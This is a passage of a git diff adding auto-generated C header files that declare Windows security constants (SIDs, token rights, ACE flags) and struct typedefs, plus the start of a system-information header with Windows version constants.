wszFCSAPARM_SANITIZEDCANAMEHASH: non-integer constant +// SKIPPED const wszFCSAPARM_CRLFILENAMESUFFIX: non-integer constant +// SKIPPED const wszFCSAPARM_CRLDELTAFILENAMESUFFIX: non-integer constant +// SKIPPED const wszFCSAPARM_DSCRLATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSCACERTATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSUSERCERTATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSKRACERTATTRIBUTE: non-integer constant +// SKIPPED const wszFCSAPARM_DSCROSSCERTPAIRATTRIBUTE: non-integer constant +#define SIGNING_LEVEL_FILE_CACHE_FLAG_NOT_VALIDATED 0x1 +#define SIGNING_LEVEL_FILE_CACHE_FLAG_VALIDATE_ONLY 0x4 +#define SIGNING_LEVEL_MICROSOFT 0x8 +#define SEF_AVOID_OWNER_CHECK 0x10 +#define SEF_AVOID_OWNER_RESTRICTION 0x1000 +#define SEF_AVOID_PRIVILEGE_CHECK 0x8 +#define SEF_DACL_AUTO_INHERIT 0x1 +#define SEF_DEFAULT_DESCRIPTOR_FOR_OBJECT 0x4 +#define SEF_DEFAULT_GROUP_FROM_PARENT 0x40 +#define SEF_DEFAULT_OWNER_FROM_PARENT 0x20 +#define SEF_MACL_NO_EXECUTE_UP 0x400 +#define SEF_MACL_NO_READ_UP 0x200 +#define SEF_MACL_NO_WRITE_UP 0x100 +#define SEF_SACL_AUTO_INHERIT 0x2 +#define TOKEN_MANDATORY_POLICY_OFF 0x0 +#define TOKEN_MANDATORY_POLICY_NO_WRITE_UP 0x1 +#define TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN 0x2 +#define TOKEN_MANDATORY_POLICY_VALID_MASK 0x3 +#define ACE_OBJECT_TYPE_PRESENT 0x1 +#define ACE_INHERITED_OBJECT_TYPE_PRESENT 0x2 +#define ENUM_PERIOD_INVALID -1 +#define ENUM_PERIOD_SECONDS 0 +#define ENUM_PERIOD_MINUTES 1 +#define ENUM_PERIOD_HOURS 2 +#define ENUM_PERIOD_DAYS 3 +#define ENUM_PERIOD_WEEKS 4 +#define ENUM_PERIOD_MONTHS 5 +#define ENUM_PERIOD_YEARS 6 +#define WinNullSid 0 +#define WinWorldSid 1 +#define WinLocalSid 2 +#define WinCreatorOwnerSid 3 +#define WinCreatorGroupSid 4 +#define WinCreatorOwnerServerSid 5 +#define WinCreatorGroupServerSid 6 +#define WinNtAuthoritySid 7 +#define WinDialupSid 8 +#define WinNetworkSid 9 +#define WinBatchSid 10 +#define WinInteractiveSid 11 +#define WinServiceSid 12 +#define WinAnonymousSid 13 +#define WinProxySid 14 +#define WinEnterpriseControllersSid 15 +#define WinSelfSid 16 +#define WinAuthenticatedUserSid 17 +#define WinRestrictedCodeSid 18 +#define WinTerminalServerSid 19 +#define WinRemoteLogonIdSid 20 +#define WinLogonIdsSid 21 +#define WinLocalSystemSid 22 +#define WinLocalServiceSid 23 +#define WinNetworkServiceSid 24 +#define WinBuiltinDomainSid 25 +#define WinBuiltinAdministratorsSid 26 +#define WinBuiltinUsersSid 27 +#define WinBuiltinGuestsSid 28 +#define WinBuiltinPowerUsersSid 29 +#define WinBuiltinAccountOperatorsSid 30 +#define WinBuiltinSystemOperatorsSid 31 +#define WinBuiltinPrintOperatorsSid 32 +#define WinBuiltinBackupOperatorsSid 33 +#define WinBuiltinReplicatorSid 34 +#define WinBuiltinPreWindows2000CompatibleAccessSid 35 +#define WinBuiltinRemoteDesktopUsersSid 36 +#define WinBuiltinNetworkConfigurationOperatorsSid 37 +#define WinAccountAdministratorSid 38 +#define WinAccountGuestSid 39 +#define WinAccountKrbtgtSid 40 +#define WinAccountDomainAdminsSid 41 +#define WinAccountDomainUsersSid 42 +#define WinAccountDomainGuestsSid 43 +#define WinAccountComputersSid 44 +#define WinAccountControllersSid 45 +#define WinAccountCertAdminsSid 46 +#define WinAccountSchemaAdminsSid 47 +#define WinAccountEnterpriseAdminsSid 48 +#define WinAccountPolicyAdminsSid 49 +#define WinAccountRasAndIasServersSid 50 +#define WinNTLMAuthenticationSid 51 +#define WinDigestAuthenticationSid 52 +#define WinSChannelAuthenticationSid 53 +#define WinThisOrganizationSid 54 +#define WinOtherOrganizationSid 55 +#define WinBuiltinIncomingForestTrustBuildersSid 56 +#define WinBuiltinPerfMonitoringUsersSid 57 +#define WinBuiltinPerfLoggingUsersSid 58 +#define WinBuiltinAuthorizationAccessSid 59 +#define WinBuiltinTerminalServerLicenseServersSid 60 +#define WinBuiltinDCOMUsersSid 61 +#define WinBuiltinIUsersSid 62 +#define WinIUserSid 63 +#define WinBuiltinCryptoOperatorsSid 64 +#define WinUntrustedLabelSid 65 +#define WinLowLabelSid 66 +#define WinMediumLabelSid 67 +#define WinHighLabelSid 68 +#define WinSystemLabelSid 69 +#define WinWriteRestrictedCodeSid 70 +#define WinCreatorOwnerRightsSid 71 +#define WinCacheablePrincipalsGroupSid 72 +#define WinNonCacheablePrincipalsGroupSid 73 +#define WinEnterpriseReadonlyControllersSid 74 +#define WinAccountReadonlyControllersSid 75 +#define WinBuiltinEventLogReadersGroup 76 +#define WinNewEnterpriseReadonlyControllersSid 77 +#define WinBuiltinCertSvcDComAccessGroup 78 +#define WinMediumPlusLabelSid 79 +#define WinLocalLogonSid 80 +#define WinConsoleLogonSid 81 +#define WinThisOrganizationCertificateSid 82 +#define WinApplicationPackageAuthoritySid 83 +#define WinBuiltinAnyPackageSid 84 +#define WinCapabilityInternetClientSid 85 +#define WinCapabilityInternetClientServerSid 86 +#define WinCapabilityPrivateNetworkClientServerSid 87 +#define WinCapabilityPicturesLibrarySid 88 +#define WinCapabilityVideosLibrarySid 89 +#define WinCapabilityMusicLibrarySid 90 +#define WinCapabilityDocumentsLibrarySid 91 +#define WinCapabilitySharedUserCertificatesSid 92 +#define WinCapabilityEnterpriseAuthenticationSid 93 +#define WinCapabilityRemovableStorageSid 94 +#define WinBuiltinRDSRemoteAccessServersSid 95 +#define WinBuiltinRDSEndpointServersSid 96 +#define WinBuiltinRDSManagementServersSid 97 +#define WinUserModeDriversSid 98 +#define WinBuiltinHyperVAdminsSid 99 +#define WinAccountCloneableControllersSid 100 +#define WinBuiltinAccessControlAssistanceOperatorsSid 101 +#define WinBuiltinRemoteManagementUsersSid 102 +#define WinAuthenticationAuthorityAssertedSid 103 +#define WinAuthenticationServiceAssertedSid 104 +#define WinLocalAccountSid 105 +#define WinLocalAccountAndAdministratorSid 106 +#define WinAccountProtectedUsersSid 107 +#define WinCapabilityAppointmentsSid 108 +#define WinCapabilityContactsSid 109 +#define WinAccountDefaultSystemManagedSid 110 +#define WinBuiltinDefaultSystemManagedGroupSid 111 +#define WinBuiltinStorageReplicaAdminsSid 112 +#define WinAccountKeyAdminsSid 113 +#define WinAccountEnterpriseKeyAdminsSid 114 +#define WinAuthenticationKeyTrustSid 115 +#define WinAuthenticationKeyPropertyMFASid 116 +#define WinAuthenticationKeyPropertyAttestationSid 117 +#define WinAuthenticationFreshKeyAuthSid 118 +#define WinBuiltinDeviceOwnersSid 119 +#define WinBuiltinUserModeHardwareOperatorsSid 120 +#define WinBuiltinOpenSSHUsersSid 121 +#define TokenElevationTypeDefault 1 +#define TokenElevationTypeFull 2 +#define TokenElevationTypeLimited 3 +#define CLAIM_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x1 +#define CLAIM_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x2 +#define CLAIM_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x4 +#define CLAIM_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x8 +#define CLAIM_SECURITY_ATTRIBUTE_DISABLED 0x10 +#define CLAIM_SECURITY_ATTRIBUTE_MANDATORY 0x20 +#define DISABLE_MAX_PRIVILEGE 0x1 +#define SANDBOX_INERT 0x2 +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICTED 0x8 +#define LOGON32_PROVIDER_DEFAULT 0x0 +#define LOGON32_PROVIDER_WINNT50 0x3 +#define LOGON32_PROVIDER_WINNT40 0x2 +#define SecurityAnonymous 0 +#define SecurityIdentification 1 +#define SecurityImpersonation 2 +#define SecurityDelegation 3 +#define AuditEventObjectAccess 0 +#define AuditEventDirectoryServiceAccess 1 +#define SidTypeUser 1 +#define SidTypeGroup 2 +#define SidTypeDomain 3 +#define SidTypeAlias 4 +#define SidTypeWellKnownGroup 5 +#define SidTypeDeletedAccount 6 +#define SidTypeInvalid 7 +#define SidTypeUnknown 8 +#define SidTypeComputer 9 +#define SidTypeLabel 10 +#define SidTypeLogonSession 11 +#define SE_PRIVILEGE_ENABLED 0x2 +#define SE_PRIVILEGE_ENABLED_BY_DEFAULT 0x1 +#define SE_PRIVILEGE_REMOVED 0x4 +#define SE_PRIVILEGE_USED_FOR_ACCESS 0x80000000 +#define ACL_REVISION 0x2 +#define ACL_REVISION_DS 0x4 +#define TokenPrimary 1 +#define TokenImpersonation 2 +#define TokenUser 1 +#define TokenGroups 2 +#define TokenPrivileges 3 +#define TokenOwner 4 +#define TokenPrimaryGroup 5 +#define TokenDefaultDacl 6 +#define TokenSource 7 +#define TokenType 8 +#define TokenImpersonationLevel 9 +#define TokenStatistics 10 +#define TokenRestrictedSids 11 +#define TokenSessionId 12 +#define TokenGroupsAndPrivileges 13 +#define TokenSessionReference 14 +#define TokenSandBoxInert 15 +#define TokenAuditPolicy 16 +#define TokenOrigin 17 +#define TokenElevationType 18 +#define TokenLinkedToken 19 +#define TokenElevation 20 +#define TokenHasRestrictions 21 +#define TokenAccessInformation 22 +#define TokenVirtualizationAllowed 23 +#define TokenVirtualizationEnabled 24 +#define TokenIntegrityLevel 25 +#define TokenUIAccess 26 +#define TokenMandatoryPolicy 27 +#define TokenLogonSid 28 +#define TokenIsAppContainer 29 +#define TokenCapabilities 30 +#define TokenAppContainerSid 31 +#define TokenAppContainerNumber 32 +#define TokenUserClaimAttributes 33 +#define TokenDeviceClaimAttributes 34 +#define TokenRestrictedUserClaimAttributes 35 +#define TokenRestrictedDeviceClaimAttributes 36 +#define TokenDeviceGroups 37 +#define TokenRestrictedDeviceGroups 38 +#define TokenSecurityAttributes 39 +#define TokenIsRestricted 40 +#define TokenProcessTrustLevel 41 +#define TokenPrivateNameSpace 42 +#define TokenSingletonAttributes 43 +#define TokenBnoIsolation 44 +#define TokenChildProcessFlags 45 +#define TokenIsLessPrivilegedAppContainer 46 +#define TokenIsSandboxed 47 +#define TokenIsAppSilo 48 +#define TokenLoggingInformation 49 +#define TokenLearningMode 50 +#define MaxTokenInfoClass 51 +#define CONTAINER_INHERIT_ACE 0x2 +#define FAILED_ACCESS_ACE_FLAG 0x80 +#define INHERIT_ONLY_ACE 0x8 +#define INHERITED_ACE 0x10 +#define NO_PROPAGATE_INHERIT_ACE 0x4 +#define OBJECT_INHERIT_ACE 0x1 +#define SUCCESSFUL_ACCESS_ACE_FLAG 0x40 +#define SUB_CONTAINERS_AND_OBJECTS_INHERIT 0x3 +#define SUB_CONTAINERS_ONLY_INHERIT 0x2 +#define SUB_OBJECTS_ONLY_INHERIT 0x1 +#define INHERIT_NO_PROPAGATE 0x4 +#define INHERIT_ONLY 0x8 +#define NO_INHERITANCE 0x0 +#define ATTRIBUTE_SECURITY_INFORMATION 0x20 +#define BACKUP_SECURITY_INFORMATION 0x10000 +#define DACL_SECURITY_INFORMATION 0x4 +#define GROUP_SECURITY_INFORMATION 0x2 +#define LABEL_SECURITY_INFORMATION 0x10 +#define OWNER_SECURITY_INFORMATION 0x1 +#define PROTECTED_DACL_SECURITY_INFORMATION 0x80000000 +#define PROTECTED_SACL_SECURITY_INFORMATION 0x40000000 +#define SACL_SECURITY_INFORMATION 0x8 +#define SCOPE_SECURITY_INFORMATION 0x40 +#define UNPROTECTED_DACL_SECURITY_INFORMATION 0x20000000 +#define UNPROTECTED_SACL_SECURITY_INFORMATION 0x10000000 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_INT64 0x1 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_UINT64 0x2 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_STRING 0x3 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_FQBN 0x4 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_SID 0x5 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x6 +#define LOGON32_LOGON_BATCH 0x4 +#define LOGON32_LOGON_INTERACTIVE 0x2 +#define LOGON32_LOGON_NETWORK 0x3 +#define LOGON32_LOGON_NETWORK_CLEARTEXT 0x8 +#define LOGON32_LOGON_NEW_CREDENTIALS 0x9 +#define LOGON32_LOGON_SERVICE 0x5 +#define LOGON32_LOGON_UNLOCK 0x7 +#define MandatoryLevelUntrusted 0 +#define MandatoryLevelLow 1 +#define MandatoryLevelMedium 2 +#define MandatoryLevelHigh 3 +#define MandatoryLevelSystem 4 +#define MandatoryLevelSecureProcess 5 +#define MandatoryLevelCount 6 +#define AclRevisionInformation 1 +#define AclSizeInformation 2 +#define TOKEN_DELETE 0x10000 +#define TOKEN_READ_CONTROL 0x20000 +#define TOKEN_WRITE_DAC 0x40000 +#define TOKEN_WRITE_OWNER 0x80000 +#define TOKEN_ACCESS_SYSTEM_SECURITY 0x1000000 +#define TOKEN_ASSIGN_PRIMARY 0x1 +#define TOKEN_DUPLICATE 0x2 +#define TOKEN_IMPERSONATE 0x4 +#define TOKEN_QUERY 0x8 +#define TOKEN_QUERY_SOURCE 0x10 +#define TOKEN_ADJUST_PRIVILEGES 0x20 +#define TOKEN_ADJUST_GROUPS 0x40 +#define TOKEN_ADJUST_DEFAULT 0x80 +#define TOKEN_ADJUST_SESSIONID 0x100 +#define TOKEN_READ 0x20008 +#define TOKEN_WRITE 0x200e0 +#define TOKEN_EXECUTE 0x20000 +#define TOKEN_TRUST_CONSTRAINT_MASK 0x20018 +#define TOKEN_ACCESS_PSEUDO_HANDLE_WIN8 0x18 +#define TOKEN_ACCESS_PSEUDO_HANDLE 0x18 +#define TOKEN_ALL_ACCESS 0xf01ff +#define SE_OWNER_DEFAULTED 0x1 +#define SE_GROUP_DEFAULTED 0x2 +#define SE_DACL_PRESENT 0x4 +#define SE_DACL_DEFAULTED 0x8 +#define SE_SACL_PRESENT 0x10 +#define SE_SACL_DEFAULTED 0x20 +#define SE_DACL_AUTO_INHERIT_REQ 0x100 +#define SE_SACL_AUTO_INHERIT_REQ 0x200 +#define SE_DACL_AUTO_INHERITED 0x400 +#define SE_SACL_AUTO_INHERITED 0x800 +#define SE_DACL_PROTECTED 0x1000 +#define SE_SACL_PROTECTED 0x2000 +#define SE_RM_CONTROL_VALID 0x4000 +#define SE_SELF_RELATIVE 0x8000 + +typedef struct _NCRYPT_STREAM_HANDLE { + void* Value; +} NCRYPT_STREAM_HANDLE; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_FQBN_VALUE { + unsigned long long Version; + void* Name; +} CLAIM_SECURITY_ATTRIBUTE_FQBN_VALUE; + +typedef struct _ACCESS_DENIED_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_DENIED_OBJECT_ACE; + +typedef struct _PSECURITY_DESCRIPTOR { + void* Value; +} PSECURITY_DESCRIPTOR; + +typedef struct _ACL { + unsigned char AclRevision; + unsigned char Sbz1; + unsigned short AclSize; + unsigned short AceCount; + unsigned short Sbz2; +} ACL; + +typedef struct _SYSTEM_AUDIT_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_AUDIT_CALLBACK_ACE; + +typedef struct _TOKEN_USER_CLAIMS { + void* UserClaims; +} TOKEN_USER_CLAIMS; + +typedef struct _SYSTEM_ALARM_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_ALARM_CALLBACK_OBJECT_ACE; + +typedef struct _SYSTEM_ALARM_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_ALARM_ACE; + +typedef struct _ACCESS_ALLOWED_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_ALLOWED_OBJECT_ACE; + +typedef struct _TOKEN_MANDATORY_LABEL { + void* Label; +} TOKEN_MANDATORY_LABEL; + +typedef struct _LUID_AND_ATTRIBUTES { + void* Luid; + void* Attributes; +} LUID_AND_ATTRIBUTES; + +typedef struct _CLAIM_SECURITY_ATTRIBUTES_INFORMATION { + unsigned short Version; + unsigned short Reserved; + unsigned int AttributeCount; + void* Attribute; +} CLAIM_SECURITY_ATTRIBUTES_INFORMATION; + +typedef struct _ACL_SIZE_INFORMATION { + unsigned int AceCount; + unsigned int AclBytesInUse; + unsigned int AclBytesFree; +} ACL_SIZE_INFORMATION; + +typedef struct _TOKEN_GROUPS { + unsigned int GroupCount; + void* Groups[1]; +} TOKEN_GROUPS; + +typedef struct _LLFILETIME { + void* Anonymous; +} LLFILETIME; + +typedef struct _SID_AND_ATTRIBUTES { + void* Sid; + unsigned int Attributes; +} SID_AND_ATTRIBUTES; + +typedef struct _TOKEN_SOURCE { + unsigned char SourceName[8]; + void* SourceIdentifier; +} TOKEN_SOURCE; + +typedef struct _SE_ACCESS_REPLY { + unsigned int Size; + unsigned int ResultListCount; + void* GrantedAccess; + void* AccessStatus; + void* AccessReason; + void* Privileges; +} SE_ACCESS_REPLY; + +typedef struct _ACCESS_DENIED_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_DENIED_CALLBACK_ACE; + +typedef struct _SE_IMPERSONATION_STATE { + void* Token; + BOOL CopyOnOpen; + BOOL EffectiveOnly; + void* Level; +} SE_IMPERSONATION_STATE; + +typedef struct _SECURITY_ATTRIBUTES { + unsigned int nLength; + void* lpSecurityDescriptor; + BOOL bInheritHandle; +} SECURITY_ATTRIBUTES; + +typedef struct _ACL_REVISION_INFORMATION { + unsigned int AclRevision; +} ACL_REVISION_INFORMATION; + +typedef struct _SID_AND_ATTRIBUTES_HASH { + unsigned int SidCount; + void* SidAttr; + unsigned long long Hash[32]; +} SID_AND_ATTRIBUTES_HASH; + +typedef struct _TOKEN_OWNER { + void* Owner; +} TOKEN_OWNER; + +typedef struct _TOKEN_ELEVATION { + unsigned int TokenIsElevated; +} TOKEN_ELEVATION; + +typedef struct _SE_SID { + void* Sid; + unsigned char Buffer[68]; +} SE_SID; + +typedef struct _ACCESS_DENIED_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_DENIED_CALLBACK_OBJECT_ACE; + +typedef struct _ACE_HEADER { + unsigned char AceType; + unsigned char AceFlags; + unsigned short AceSize; +} ACE_HEADER; + +typedef struct _PSID { + void* Value; +} PSID; + +typedef struct _SYSTEM_ALARM_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_ALARM_CALLBACK_ACE; + +typedef struct _SECURITY_DESCRIPTOR_RELATIVE { + unsigned char Revision; + unsigned char Sbz1; + void* Control; + unsigned int Owner; + unsigned int Group; + unsigned int Sacl; + unsigned int Dacl; +} SECURITY_DESCRIPTOR_RELATIVE; + +typedef struct _SAFER_LEVEL_HANDLE { + void* Value; +} SAFER_LEVEL_HANDLE; + +typedef struct _ACCESS_ALLOWED_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} ACCESS_ALLOWED_CALLBACK_OBJECT_ACE; + +typedef struct _TOKEN_PRIVILEGES { + unsigned int PrivilegeCount; + void* Privileges[1]; +} TOKEN_PRIVILEGES; + +typedef struct _TOKEN_GROUPS_AND_PRIVILEGES { + unsigned int SidCount; + unsigned int SidLength; + void* Sids; + unsigned int RestrictedSidCount; + unsigned int RestrictedSidLength; + void* RestrictedSids; + unsigned int PrivilegeCount; + unsigned int PrivilegeLength; + void* Privileges; + void* AuthenticationId; +} TOKEN_GROUPS_AND_PRIVILEGES; + +typedef struct _TOKEN_AUDIT_POLICY { + unsigned char PerUserPolicy[31]; +} TOKEN_AUDIT_POLICY; + +typedef struct _TOKEN_ORIGIN { + void* OriginatingLogonSession; +} TOKEN_ORIGIN; + +typedef struct _QUOTA_LIMITS { + unsigned long long PagedPoolLimit; + unsigned long long NonPagedPoolLimit; + unsigned long long MinimumWorkingSetSize; + unsigned long long MaximumWorkingSetSize; + unsigned long long PagefileLimit; + long long TimeLimit; +} QUOTA_LIMITS; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE { + void* pValue; + unsigned int ValueLength; +} CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1 { + unsigned int Name; + void* ValueType; + unsigned short Reserved; + void* Flags; + unsigned int ValueCount; + void* Values; +} CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1; + +typedef struct _NCRYPT_DESCRIPTOR_HANDLE { + void* Value; +} NCRYPT_DESCRIPTOR_HANDLE; + +typedef struct _ACCESS_ALLOWED_CALLBACK_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_ALLOWED_CALLBACK_ACE; + +typedef struct _SE_SECURITY_DESCRIPTOR { + unsigned int Size; + unsigned int Flags; + void* SecurityDescriptor; +} SE_SECURITY_DESCRIPTOR; + +typedef struct _PRIVILEGE_SET { + unsigned int PrivilegeCount; + unsigned int Control; + void* Privilege[1]; +} PRIVILEGE_SET; + +typedef struct _TOKEN_USER { + void* User; +} TOKEN_USER; + +typedef struct _TOKEN_DEVICE_CLAIMS { + void* DeviceClaims; +} TOKEN_DEVICE_CLAIMS; + +typedef struct _OBJECT_TYPE_LIST { + unsigned short Level; + unsigned short Sbz; + void* ObjectType; +} OBJECT_TYPE_LIST; + +typedef struct _SYSTEM_PROCESS_TRUST_LABEL_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_PROCESS_TRUST_LABEL_ACE; + +typedef struct _SE_ACCESS_REQUEST { + unsigned int Size; + void* SeSecurityDescriptor; + unsigned int DesiredAccess; + unsigned int PreviouslyGrantedAccess; + void* PrincipalSelfSid; + void* GenericMapping; + unsigned int ObjectTypeListCount; + void* ObjectTypeList; +} SE_ACCESS_REQUEST; + +typedef struct _SYSTEM_ALARM_OBJECT_ACE { + void* Header; + unsigned int Mask; + unsigned int Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_ALARM_OBJECT_ACE; + +typedef struct _SYSTEM_AUDIT_CALLBACK_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_AUDIT_CALLBACK_OBJECT_ACE; + +typedef struct _TOKEN_DEFAULT_DACL { + void* DefaultDacl; +} TOKEN_DEFAULT_DACL; + +typedef struct _SYSTEM_MANDATORY_LABEL_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_MANDATORY_LABEL_ACE; + +typedef struct _SYSTEM_AUDIT_OBJECT_ACE { + void* Header; + unsigned int Mask; + void* Flags; + void* ObjectType; + void* InheritedObjectType; + unsigned int SidStart; +} SYSTEM_AUDIT_OBJECT_ACE; + +typedef struct _TOKEN_ACCESS_INFORMATION { + void* SidHash; + void* RestrictedSidHash; + void* Privileges; + void* AuthenticationId; + void* TokenType; + void* ImpersonationLevel; + void* MandatoryPolicy; + unsigned int Flags; + unsigned int AppContainerNumber; + void* PackageSid; + void* CapabilitiesHash; + void* TrustLevelSid; + void* SecurityAttributes; +} TOKEN_ACCESS_INFORMATION; + +typedef struct _TOKEN_STATISTICS { + void* TokenId; + void* AuthenticationId; + long long ExpirationTime; + void* TokenType; + void* ImpersonationLevel; + unsigned int DynamicCharged; + unsigned int DynamicAvailable; + unsigned int GroupCount; + unsigned int PrivilegeCount; + void* ModifiedId; +} TOKEN_STATISTICS; + +typedef struct _TOKEN_MANDATORY_POLICY { + void* Policy; +} TOKEN_MANDATORY_POLICY; + +typedef struct _SID_IDENTIFIER_AUTHORITY { + unsigned char Value[6]; +} SID_IDENTIFIER_AUTHORITY; + +typedef struct _SECURITY_DESCRIPTOR { + unsigned char Revision; + unsigned char Sbz1; + void* Control; + void* Owner; + void* Group; + void* Sacl; + void* Dacl; +} SECURITY_DESCRIPTOR; + +typedef struct _ACCESS_REASONS { + unsigned int Data[32]; +} ACCESS_REASONS; + +typedef struct _SECURITY_CAPABILITIES { + void* AppContainerSid; + void* Capabilities; + unsigned int CapabilityCount; + unsigned int Reserved; +} SECURITY_CAPABILITIES; + +typedef struct _ACCESS_ALLOWED_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_ALLOWED_ACE; + +typedef struct _SYSTEM_AUDIT_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_AUDIT_ACE; + +typedef struct _CLAIM_SECURITY_ATTRIBUTE_V1 { + void* Name; + void* ValueType; + unsigned short Reserved; + unsigned int Flags; + unsigned int ValueCount; + void* Values; +} CLAIM_SECURITY_ATTRIBUTE_V1; + +typedef struct _SID { + unsigned char Revision; + unsigned char SubAuthorityCount; + void* IdentifierAuthority; + unsigned int SubAuthority[1]; +} SID; + +typedef struct _GENERIC_MAPPING { + unsigned int GenericRead; + unsigned int GenericWrite; + unsigned int GenericExecute; + unsigned int GenericAll; +} GENERIC_MAPPING; + +typedef struct _ACCESS_DENIED_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} ACCESS_DENIED_ACE; + +typedef struct _TOKEN_PRIMARY_GROUP { + void* PrimaryGroup; +} TOKEN_PRIMARY_GROUP; + +typedef struct _TOKEN_CONTROL { + void* TokenId; + void* AuthenticationId; + void* ModifiedId; + void* TokenSource; +} TOKEN_CONTROL; + +typedef struct _SYSTEM_SCOPED_POLICY_ID_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_SCOPED_POLICY_ID_ACE; + +typedef struct _SYSTEM_ACCESS_FILTER_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_ACCESS_FILTER_ACE; + +typedef struct _TOKEN_APPCONTAINER_INFORMATION { + void* TokenAppContainer; +} TOKEN_APPCONTAINER_INFORMATION; + +typedef struct _SECURITY_QUALITY_OF_SERVICE { + unsigned int Length; + void* ImpersonationLevel; + unsigned char ContextTrackingMode; + BOOL EffectiveOnly; +} SECURITY_QUALITY_OF_SERVICE; + +typedef struct _TOKEN_LINKED_TOKEN { + void* LinkedToken; +} TOKEN_LINKED_TOKEN; + +typedef struct _SYSTEM_RESOURCE_ATTRIBUTE_ACE { + void* Header; + unsigned int Mask; + unsigned int SidStart; +} SYSTEM_RESOURCE_ATTRIBUTE_ACE; + diff --git a/stdlib/win32/systeminformation.h b/stdlib/win32/systeminformation.h new file mode 100644 index 0000000..1465770 --- /dev/null +++ b/stdlib/win32/systeminformation.h @@ -0,0 +1,676 @@ +// Generated by entc-win32gen from `Windows.Win32.System.SystemInformation`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define NTDDI_WIN2K 0x5000000 +#define NTDDI_WINXP 0x5010000 +#define NTDDI_WINXPSP2 0x5010200 +#define NTDDI_WS03SP1 0x5020100 +#define NTDDI_VISTA 0x6000000 +#define NTDDI_VISTASP1 0x6000100 +#define NTDDI_WIN7 0x6010000 +#define NTDDI_WIN8 0x6020000 +#define NTDDI_WINBLUE 0x6030000 +#define NTDDI_WINTHRESHOLD 0xa000000 +#define SYSTEM_CPU_SET_INFORMATION_PARKED 0x1 +#define SYSTEM_CPU_SET_INFORMATION_ALLOCATED 0x2 +#define SYSTEM_CPU_SET_INFORMATION_ALLOCATED_TO_TARGET_PROCESS 0x4 +#define SYSTEM_CPU_SET_INFORMATION_REALTIME 0x8 +#define _WIN32_WINNT_NT4 0x400 +#define _WIN32_WINNT_WIN2K 0x500 +#define _WIN32_WINNT_WINXP 0x501 +#define _WIN32_WINNT_WS03 0x502 +#define _WIN32_WINNT_WIN6 0x600 +#define _WIN32_WINNT_VISTA 0x600 +#define _WIN32_WINNT_WS08 0x600 +#define _WIN32_WINNT_LONGHORN 0x600 +#define _WIN32_WINNT_WIN7 0x601 +#define _WIN32_WINNT_WIN8 0x602 +#define _WIN32_WINNT_WINBLUE 0x603 +#define _WIN32_WINNT_WINTHRESHOLD 0xa00 +#define _WIN32_WINNT_WIN10 0xa00 +#define _WIN32_IE_IE20 0x200 +#define _WIN32_IE_IE30 0x300 +#define _WIN32_IE_IE302 0x302 +#define _WIN32_IE_IE40 0x400 +#define _WIN32_IE_IE401 0x401 +#define _WIN32_IE_IE50 0x500 +#define _WIN32_IE_IE501 0x501 +#define _WIN32_IE_IE55 0x550 +#define _WIN32_IE_IE60 0x600 +#define _WIN32_IE_IE60SP1 0x601 +#define _WIN32_IE_IE60SP2 0x603 +#define _WIN32_IE_IE70 0x700 +#define _WIN32_IE_IE80 0x800 +#define _WIN32_IE_IE90 0x900 +#define _WIN32_IE_IE100 0xa00 +#define _WIN32_IE_IE110 0xa00 +#define 